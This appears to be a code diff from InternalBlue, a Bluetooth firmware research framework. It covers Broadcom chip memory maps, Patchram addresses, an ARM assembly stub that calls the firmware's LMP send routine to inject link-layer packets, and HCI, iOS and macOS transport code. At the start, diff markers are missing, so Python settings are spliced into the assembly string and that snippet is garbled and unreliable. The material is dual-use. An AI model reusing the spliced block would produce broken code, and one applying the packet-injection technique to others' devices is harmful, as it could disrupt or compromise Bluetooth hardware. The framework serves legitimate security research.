MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True),
MemorySection(0x260000, 0x268000, True, False),
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
]
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21f000
SENDLCP_ASM_CODE = """
push {r4,lr}
# Connection Structure and Table
CONNECTION_ARRAY_ADDRESS = 0x204BA8
CONNECTION_MAX = 11
CONNECTION_STRUCT_LENGTH = 0x150
// we want to call lmulp_sendLcp(conn_index, input, length)
# Patchram
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x92062 // lmulp_sendLcp
# Heap
BLOC_HEAD = 0x200490 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21F000
SENDLCP_ASM_CODE = """
push {r4,lr}
// we want to call lmulp_sendLcp(conn_index, input, length)
mov r0, %d // connection index, starts at 0
ldr r1, =payload
mov r2, %d // length
bl 0x92062 // lmulp_sendLcp
pop {r4,pc} // go back
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
+49
View File
@@ -0,0 +1,49 @@
# fw_0x617e.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM4345B0(FirmwareDefinition):
# Firmware Infos
# iPhone 6
FW_NAME = "BCM4345B0"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
MemorySection(
0x000D0000, 0x000DFFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
]
# Patchram
# PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 #TODO needs to be aligned read
# PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
# PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
# PATCHRAM_NUMBER_OF_SLOTS = 128
# PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
+24 -18
View File
@@ -20,24 +20,30 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# iPhone SE
FW_NAME = "BCM4345C1"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x000c07ff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201cff, False, True), # Internal Memory Cortex M3
]
class BCM4345C1(FirmwareDefinition):
# Firmware Infos
# iPhone SE
FW_NAME = "BCM4345C1"
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
MemorySection(
0x000D0000, 0x000DFFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
+14 -21
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw_default.py
#
@@ -22,25 +22,18 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Firmware Infos
FW_NAME = "default (unknown firmware)"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
MemorySection(0xd0000, 0xd8000, False, True ),
#MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True ),
MemorySection(0x260000, 0x268000, True , False),
#MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
#MemorySection(0x680000, 0x800000, False, False)
]
class DefaultFirmware(FirmwareDefinition):
# Firmware Infos
FW_NAME = "default (unknown firmware)"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
MemorySection(0x200000, 0x228000, False, True),
]
+881 -811
View File
File diff suppressed because it is too large Load Diff
+179 -79
View File
@@ -1,39 +1,72 @@
#!/usr/bin/env python2
import subprocess
from __future__ import absolute_import
import socket
import struct
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins import zip
from builtins import range
import datetime
from pwn import *
from internalblue.utils.pwnlib_wrapper import log, context, p32, u16, p16, u32
import fcntl
from core import InternalBlue
import hci
import Queue
from .core import InternalBlue
from . import hci
import queue as queue2k
import threading
from typing import List, cast, TYPE_CHECKING
if TYPE_CHECKING:
from internalblue import Device
# from /usr/include/bluetooth/hci.h:
#define HCIDEVUP _IOW('H', 201, int)
#define HCIGETDEVLIST _IOR('H', 210, int)
#define HCIGETDEVINFO _IOR('H', 211, int)
# define HCIDEVUP _IOW('H', 201, int)
# define HCIGETDEVLIST _IOR('H', 210, int)
# define HCIGETDEVINFO _IOR('H', 211, int)
# ioctl numbers. see http://code.activestate.com/recipes/578225-linux-ioctl-numbers-in-python/
def _IOR(type, nr, size):
return 2 << 30 | type << 8 | nr << 0 | size << 16
def _IOW(type, nr, size):
return 1 << 30 | type << 8 | nr << 0 | size << 16
def _IOR(_type, nr, size):
return 2 << 30 | _type << 8 | nr << 0 | size << 16
HCIDEVUP = _IOW(ord('H'), 201, 4)
HCIGETDEVLIST = _IOR(ord('H'), 210, 4)
HCIGETDEVINFO = _IOR(ord('H'), 211, 4)
def _IOW(_type, nr, size):
return 1 << 30 | _type << 8 | nr << 0 | size << 16
HCIDEVUP = _IOW(ord("H"), 201, 4)
HCIGETDEVLIST = _IOR(ord("H"), 210, 4)
HCIGETDEVINFO = _IOR(ord("H"), 211, 4)
class HCICore(InternalBlue):
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
super(HCICore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
data_directory=".",
replay=False,
):
super(HCICore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
fix_binutils,
data_directory,
replay,
)
self.btsnooplog_file_lock = threading.Lock()
self.serial = False
self.doublecheck = False
def getHciDeviceList(self):
# type: () -> List[Device]
"""
Get a list of available HCI devices. The list is obtained by executing
ioctl syscalls HCIGETDEVLIST and HCIGETDEVINFO. The returned list
@@ -50,43 +83,66 @@ class HCICore(InternalBlue):
s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
# Ticket 6: does not run on Windows with Kali subsystem
except socket.error:
log.warn("Opening a local Bluetooth socket failed. Not running on native Linux?")
log.warn(
"Opening a local Bluetooth socket failed. Not running on native Linux?"
)
return []
# Do ioctl(s,HCIGETDEVLIST,arg) to get the number of available devices:
# arg is struct hci_dev_list_req (/usr/include/bluetooth/hci.h)
arg = p32(16) # dl->dev_num = HCI_MAX_DEV which is 16 (little endian)
arg += "\x00"*(8*16)
arg = p32(16) # dl->dev_num = HCI_MAX_DEV which is 16 (little endian)
arg += b"\x00" * (8 * 16)
devices_raw = fcntl.ioctl(s.fileno(), HCIGETDEVLIST, arg)
num_devices = u16(devices_raw[:2])
log.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
device_list = []
for dev_nr in range(num_devices):
dev_struct_start = 4 + 8*dev_nr
dev_id = u16(devices_raw[dev_struct_start:dev_struct_start+2])
dev_struct_start = 4 + 8 * dev_nr
dev_id = u16(devices_raw[dev_struct_start : dev_struct_start + 2])
# arg is struct hci_dev_info (/usr/include/bluetooth/hci.h)
arg = p16(dev_id) # di->dev_id = <device_id>
arg += "\x00"*20 # Enough space for name, bdaddr and flags
dev_info_raw = fcntl.ioctl(s.fileno(), HCIGETDEVINFO, arg)
dev_name = dev_info_raw[2:10].replace("\x00","")
dev_bdaddr = ":".join(["%02X" % ord(x) for x in dev_info_raw[10:16][::-1]])
dev_flags = u32(dev_info_raw[16:20])
arg = p16(dev_id) # di->dev_id = <device_id>
arg += b"\x00" * 20 # Enough space for name, bdaddr and flags
dev_info_raw = bytearray(fcntl.ioctl(s.fileno(), HCIGETDEVINFO, arg))
dev_name = dev_info_raw[2:10].replace(b"\x00", b"").decode()
dev_bdaddr = ":".join(["%02X" % x for x in dev_info_raw[10:16][::-1]])
dev_flags = u32(dev_info_raw[16:20])
if dev_flags == 0:
dev_flags_str = "DOWN"
else:
dev_flags_str = " ".join([name for flag,name in zip(
bin(dev_flags)[2:][::-1],
["UP", "INIT", "RUNNING", "PSCAN", "ISCAN", "AUTH",
"ENCRYPT" , "INQUIRY" , "RAW" , "RESET"]) if flag=="1"])
dev_flags_str = " ".join(
[
name
for flag, name in zip(
bin(dev_flags)[2:][::-1],
[
"UP",
"INIT",
"RUNNING",
"PSCAN",
"ISCAN",
"AUTH",
"ENCRYPT",
"INQUIRY",
"RAW",
"RESET",
],
)
if flag == "1"
]
)
device_list.append({"dev_id": dev_id,
"dev_name": dev_name,
"dev_bdaddr": dev_bdaddr,
"dev_flags": dev_flags,
"dev_flags_str": dev_flags_str})
device_list.append(
{
"dev_id": dev_id,
"dev_name": dev_name,
"dev_bdaddr": dev_bdaddr,
"dev_flags": dev_flags,
"dev_flags_str": dev_flags_str,
}
)
s.close()
return device_list
return cast("List[Device]", device_list)
def bringHciDeviceUp(self, dev_id):
"""
@@ -112,24 +168,36 @@ class HCICore(InternalBlue):
log.warn("Error returned by ioctl: %s" % str(e))
return False
def device_list(self):
"""
Return a list of connected hci devices.
"""
if self.replay:
return [(self, "hci_replay", "hci: ReplaySocket")]
device_list = []
for dev in self.getHciDeviceList():
log.info("HCI device: %s [%s] flags=%d<%s>" %
(dev["dev_name"], dev["dev_bdaddr"],
dev["dev_flags"], dev["dev_flags_str"]))
device_list.append([self, dev["dev_name"], 'hci: %s (%s) <%s>' %
(dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"])])
log.info(
"HCI device: %s [%s] flags=%d<%s>"
% (
dev["dev_name"],
dev["dev_bdaddr"],
dev["dev_flags"],
dev["dev_flags_str"],
)
)
device_list.append(
(
self,
dev["dev_name"],
"hci: %s (%s) <%s>"
% (dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"]),
)
)
if len(device_list) == 0:
log.info('No connected HCI device found')
log.info("No connected HCI device found")
return device_list
return cast("List[Device]", device_list)
def local_connect(self):
"""
@@ -138,7 +206,7 @@ class HCICore(InternalBlue):
if not self.interface:
log.warn("No HCI identifier is set")
return False
if not self._setupSockets():
log.critical("HCI socket could not be established!")
return False
@@ -159,8 +227,10 @@ class HCICore(InternalBlue):
this field as 0x00E03AB44A676000.
"""
time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
time_since_2000_epoch = time - datetime.datetime(2000,1,1)
packed_time = time_since_2000_epoch + datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
time_since_2000_epoch = time - datetime.datetime(2000, 1, 1)
packed_time = time_since_2000_epoch + datetime.timedelta(
microseconds=time_betw_0_and_2000_ad
)
return int(packed_time.total_seconds() * 1000 * 1000)
def _recvThreadFunc(self):
@@ -182,30 +252,49 @@ class HCICore(InternalBlue):
# Read the record data
try:
record_data = self.s_snoop.recv(1024)
record_data = bytearray(record_data)
except socket.timeout:
continue # this is ok. just try again without error
except Exception:
log.critical("Lost device interface, terminating receive thread...")
continue # this is ok. just try again without error
except Exception as e:
log.critical(
"Lost device interface with exception {}, terminating receive thread...".format(
e
)
)
self.exit_requested = True
continue
# btsnoop record header data:
btsnoop_orig_len = len(record_data)
btsnoop_inc_len = len(record_data)
btsnoop_flags = 0
btsnoop_drops = 0
btsnoop_time = datetime.datetime.now()
btsnoop_inc_len = len(record_data)
btsnoop_flags = 0
btsnoop_drops = 0
btsnoop_time = datetime.datetime.now()
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), btsnoop_orig_len, btsnoop_inc_len,
btsnoop_flags, btsnoop_drops, btsnoop_time)
record = (
hci.parse_hci_packet(record_data),
btsnoop_orig_len,
btsnoop_inc_len,
btsnoop_flags,
btsnoop_drops,
btsnoop_time,
)
log.debug("_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0]))
log.debug(
"_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0])
)
# Write to btsnoop file:
if self.write_btsnooplog:
btsnoop_record_hdr = struct.pack(">IIIIq", btsnoop_orig_len, btsnoop_inc_len, btsnoop_flags,
btsnoop_drops, self._btsnoop_pack_time(btsnoop_time))
btsnoop_record_hdr = struct.pack(
">IIIIq",
btsnoop_orig_len,
btsnoop_inc_len,
btsnoop_flags,
btsnoop_drops,
self._btsnoop_pack_time(btsnoop_time),
)
with self.btsnooplog_file_lock:
self.btsnooplog_file.write(btsnoop_record_hdr)
self.btsnooplog_file.write(record_data)
@@ -214,11 +303,13 @@ class HCICore(InternalBlue):
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for queue, filter_function in self.registeredHciRecvQueues:
if filter_function == None or filter_function(record):
if filter_function is None or filter_function(record):
try:
queue.put(record, block=False)
except Queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
except queue2k.Full:
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
@@ -227,9 +318,9 @@ class HCICore(InternalBlue):
# Check if the stackDumpReceiver has noticed that the chip crashed.
# if self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller send a stack dump.")
# self.exit_requested = True
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller send a stack dump.")
# self.exit_requested = True
log.debug("Receive Thread terminated.")
@@ -240,7 +331,9 @@ class HCICore(InternalBlue):
"""
# Check if hci device is in state "UP". If not, set it to "UP" (requires root)
device = [dev for dev in self.getHciDeviceList() if dev["dev_name"] == self.interface]
device = [
dev for dev in self.getHciDeviceList() if dev["dev_name"] == self.interface
]
if len(device) == 0:
log.warn("Device not found: " + self.interface)
return False
@@ -256,9 +349,11 @@ class HCICore(InternalBlue):
# TODO unload btusb module and check error messages here to give the user some output if sth fails
# Connect to HCI socket
self.s_snoop = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1)
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP,1)
self.s_snoop = socket.socket(
socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI
)
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR, 1)
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP, 1)
"""
struct hci_filter {
uint32_t type_mask; -> 4
@@ -267,11 +362,14 @@ class HCICore(InternalBlue):
};
"""
# TODO still seems to only forward incoming events?!
self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_FILTER,
'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00') #type mask, event mask, event mask, opcode
self.s_snoop.setsockopt(
socket.SOL_HCI,
socket.HCI_FILTER,
b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00",
) # type mask, event mask, event mask, opcode
interface_num = device["dev_id"]
log.debug("Socket interface number: %s" % (interface_num))
log.debug("Socket interface number: %s" % interface_num)
self.s_snoop.bind((interface_num,))
self.s_snoop.settimeout(2)
log.debug("_setupSockets: Bound socket.")
@@ -282,7 +380,9 @@ class HCICore(InternalBlue):
# Write Header to btsnoop file (if file is still empty):
if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
# BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
btsnoop_hdr = "btsnoop\x00" + p32(1,endian="big") + p32(1002,endian="big")
btsnoop_hdr = (
b"btsnoop\x00" + p32(1, endian="big") + p32(1002, endian="big")
)
with self.btsnooplog_file_lock:
self.btsnooplog_file.write(btsnoop_hdr)
self.btsnooplog_file.flush()
@@ -294,9 +394,9 @@ class HCICore(InternalBlue):
Close s_snoop and s_inject socket. (equal)
"""
if (self.s_inject != None):
if self.s_inject is not None:
self.s_inject.close()
self.s_inject = None
self.s_snoop = None
self.s_snoop = None
return True
+164 -55
View File
@@ -1,31 +1,56 @@
#!/usr/bin/env python2
from __future__ import absolute_import
import struct
from future import standard_library
standard_library.install_aliases()
from builtins import str
import socket
import Queue
import hci
import queue as queue2k
from . import hci
from pwn import *
from internalblue.utils.pwnlib_wrapper import log, context
from .usbmux import USBMux, MuxError
from .core import InternalBlue
from core import InternalBlue
class iOSCore(InternalBlue):
buffer: bytes
def __init__(self, ios_addr, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
super(iOSCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory=".")
parts = ios_addr.split(':')
if len(parts) != 2:
log.critical("iOS device address should be of format HOSTNAME:PORT")
exit(-1)
self.ios_addr = parts[0]
self.ios_port = parts[1]
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
data_directory=".",
):
super(iOSCore, self).__init__(
queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory="."
)
self.serial = False
self.doublecheck = True
self.buffer = b""
try:
self.mux = USBMux()
# on Linux, this can result in ConnectionRefusedError if no iOS device is present
except ConnectionRefusedError:
self.muxconnecterror = True
def device_list(self):
"""
Get a list of connected devices
"""
# prevent access on non-available socket if usbmuxd failed
if self.muxconnecterror:
return []
if self.exit_requested:
self.shutdown()
@@ -33,13 +58,25 @@ class iOSCore(InternalBlue):
log.warn("Already running. Call shutdown() first!")
return []
# assume that a explicitly specified iPhone exists
# because we need to call process for every device that is connected
# and we don't really know how much are connected, we just call process
# 8 times (which should be a reasonable limit for the amount of connected
# iOS devices) with a very short timeout.
for i in range(0, 8):
self.mux.process(0.01)
self.devices = self.mux.devices
if not self.devices:
log.info("No iOS devices connected")
device_list = []
device_list.append((self, "iPhone", "iPhone"))
for dev in self.devices:
dev_id = "iOS Device (" + dev.serial.decode("utf-8") + ")"
device_list.append((self, dev, dev_id))
return device_list
def sendH4(self, h4type, data, timeout=2):
def sendH4(self, h4type, data, timeout=0.5):
"""
Send an arbitrary HCI packet by pushing a send-task into the
sendQueue. This function blocks until the response is received
@@ -48,16 +85,16 @@ class iOSCore(InternalBlue):
the command or None if no response was received within the timeout.
"""
queue = Queue.Queue(1)
queue = queue2k.Queue(1)
try:
self.sendQueue.put((h4type, data, queue, None), timeout=timeout)
ret = queue.get(timeout=timeout)
return ret
except Queue.Empty:
except queue2k.Empty:
log.warn("sendH4: waiting for response timed out!")
return None
except Queue.Full:
except queue2k.Full:
log.warn("sendH4: send queue is full!")
return None
@@ -68,27 +105,91 @@ class iOSCore(InternalBlue):
"""
if not self._setupSockets():
log.critical("No connection to iPhone.")
log.info("Check if\n -> Bluetooth is deactivated in the iPhone settings\n -> internalblue-ios-proxy is running\n -> the proxied port is accesible from this machine")
log.info(
"Check if\n \
-> Bluetooth is deactivated in the iOS device's settings\n \
-> internalblued is installed on the device\n \
-> the device is connected to this computer via USB\n \
-> usbmuxd is installed on this computer"
)
return False
return True
def _setupSockets(self):
"""
Connect to the iOS bluetooth device over internalblue-ios-proxy
Connect to the iOS Bluetooth device over usbmuxd and internalblued
"""
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.s_inject.connect((self.ios_addr, int(self.ios_port)))
self.s_inject.settimeout(0.5)
except socket.error:
log.warn("Could not connect to iPhone, is internalblue-ios-proxy running?")
self.s_inject = self.mux.connect(self.interface, 1234)
except MuxError:
log.warn("Could not connect to iOS proxy. Is internalblued running on the connected device?")
return False
self.s_inject.settimeout(0.5)
# with ios proxy the send and receive sockets are the same
# with on iOS the send and receive sockets are the same
self.s_snoop = self.s_inject
# empty the socket (can sometimes still hold data if the previous execution
# of internalblue was cancelled or crashed)
try:
self.s_inject.recv(1024)
except socket.error:
pass
return True
def _getLatestH4Blob(self, new_data: bytes = b""):
data_out: bytes = b""
self.buffer += new_data
if len(self.buffer) > 0:
# if the buffer is too small, wait for more data
if len(self.buffer) < 5:
return (None, False)
else:
# for ACL data the length field is at offset 3
if self.buffer[0] == 0x2:
acl_len = self.buffer[3]
required_len = acl_len + 5
# for HCI cmd data the length is at offset 3 (but just one byte)
elif self.buffer[0] == 0x1:
hci_len = self.buffer[3]
required_len = hci_len + 4
# for HCI event data the length is at offset 2 (one byte)
elif self.buffer[0] == 0x4:
hci_len = self.buffer[2]
required_len = hci_len + 3
# for BCM data the length should always be 64
elif self.buffer[0] == 0x07:
required_len = 64
else:
raise ValueError("Could not derive required_len from buffer")
# if we don't have all the data we need, we just wait for more
if len(self.buffer) < required_len:
return (None, False)
# might be the case that we have too much
elif len(self.buffer) > required_len:
log.info(
"Got too much data, expected %d, got %d",
required_len,
len(self.buffer),
)
surplus = len(self.buffer) - required_len
new_buffer = self.buffer[required_len : len(self.buffer)]
data_out = self.buffer[:-surplus]
self.buffer = new_buffer
return (data_out, True)
# sometimes we even have just the right amout of data
else:
data_out = self.buffer
self.buffer = b""
return (data_out, False)
else:
return (None, False)
def _recvThreadFunc(self):
log.debug("Receive Thread started.")
@@ -102,41 +203,50 @@ class iOSCore(InternalBlue):
# read record data
try:
record_data = self.s_snoop.recv(1024)
received_data = self.s_snoop.recv(1024)
except socket.timeout:
continue # this is ok. just try again without error
continue # this is ok. just try again without error
#log.info(record_data.encode('hex'))
# TODO issue here is that sometimes, one event is cut into two and then cannot be interpreted any more
# Bugfix: do some checks on what we got
log.debug("H4 Data: %s", received_data)
if len(record_data) < 8 or record_data[0] != '\x04':
log.warn("Invalid event returned")
continue
(record_data, is_more) = self._getLatestH4Blob(new_data=received_data)
while record_data is not None:
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0)
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) #TODO not sure if this causes trouble?
log.debug("Recv: " + str(record[0]))
log.debug("Recv: " + str(record[0]))
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for (
queue,
filter_function,
) in (
self.registeredHciRecvQueues
): # TODO filter_function not working with bluez modifications
try:
queue.put(record, block=False)
except queue2k.Full:
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
try:
queue.put(record, block=False)
except Queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
for callback in self.registeredHciCallbacks:
callback(record)
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
for callback in self.registeredHciCallbacks:
callback(record)
# Check if the stackDumpReceiver has noticed that the chip crashed.
if self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
log.warn(
"recvThreadFunc: The controller send a stack dump. stopping.."
)
self.exit_requested = True
# Check if the stackDumpReceiver has noticed that the chip crashed.
if self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
log.warn("recvThreadFunc: The controller send a stack dump. stopping..")
self.exit_requested = True
(record_data, is_more) = self._getLatestH4Blob()
if not is_more:
break
log.debug("Receive Thread terminated.")
@@ -145,9 +255,8 @@ class iOSCore(InternalBlue):
Close s_snoop and s_inject (which are the same)
"""
if (self.s_inject != None):
if self.s_inject is not None:
self.s_inject.close()
self.s_inject = None
return True
+247
View File
@@ -0,0 +1,247 @@
#!/usr/bin/env python2
from __future__ import absolute_import
import random
import time
from future import standard_library
standard_library.install_aliases()
from builtins import str
import socket
import queue as queue2k
from . import hci
from internalblue.utils.pwnlib_wrapper import log, context, p8
from .core import InternalBlue
import binascii
import os
filepath = os.path.dirname(os.path.abspath(__file__))
IOBE = None
class macOSCore(InternalBlue):
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
data_directory=".",
replay=False,
):
super(macOSCore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
fix_binutils,
data_directory=".",
replay=replay,
)
self.doublecheck = False
self.iobe = None
self.serial = None
if not replay:
import objc # type: ignore
objc.initFrameworkWrapper(
"IOBluetoothExtended",
frameworkIdentifier="de.tu-darmstadt.seemoo.IOBluetoothExtended",
frameworkPath=objc.pathForFramework(
filepath + "/../macos-framework/IOBluetoothExtended.framework"
),
globals=globals(),
)
self.hciport = -1
def device_list(self):
"""
Get a list of connected devices
"""
if self.exit_requested:
self.shutdown()
if self.running:
log.warn("Already running. Call shutdown() first!")
return []
# assume that a explicitly specified iPhone exists
device_list = [(self, "mac", "mac")]
return device_list
def local_connect(self):
if not self._setupSockets():
log.critical("No connection to target device.")
self._teardownSockets()
return True
def _setupSockets(self):
self.hciport = random.randint(60000, 65535 - 1)
log.debug(
"_setupSockets: Selected random ports snoop=%d and inject=%d"
% (self.hciport, self.hciport + 1)
)
log.info(
"Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d"
% (self.hciport, self.hciport + 1)
)
# Create s_snoop socket
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s_snoop.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s_snoop.bind(("127.0.0.1", self.hciport))
self.s_snoop.settimeout(0.5)
self.s_snoop.setblocking(True)
# Create s_inject
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.s_inject.settimeout(0.5)
self.s_inject.setblocking(True)
# Create IOBluetoothExtended Object that listens for commands,
# sends them to the Bluetooth chip and replies via UDP socket.
if not self.replay:
self.iobe = IOBE.alloc().initWith_and_(
str(self.hciport + 1), str(self.hciport)
)
else:
self.iobe = None
time.sleep(0.5)
return True
def _recvThreadFunc(self):
log.debug("Receive Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# read record data
try:
data, addr = self.s_snoop.recvfrom(1024)
record_data = bytearray(data)
except socket.timeout:
continue # this is ok. just try again without error
if not self.exit_requested:
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (
hci.parse_hci_packet(record_data),
0,
0,
0,
0,
0,
) # TODO not sure if this causes trouble?
log.debug("Recv: " + str(record[0]))
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for (
queue,
filter_function,
) in (
self.registeredHciRecvQueues
): # TODO filter_function not working with bluez modifications
try:
queue.put(record, block=False)
except queue.Full:
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets..>"
+ str(record_data)
)
# Call all callback functions inside registeredHciCallbacks and pass the
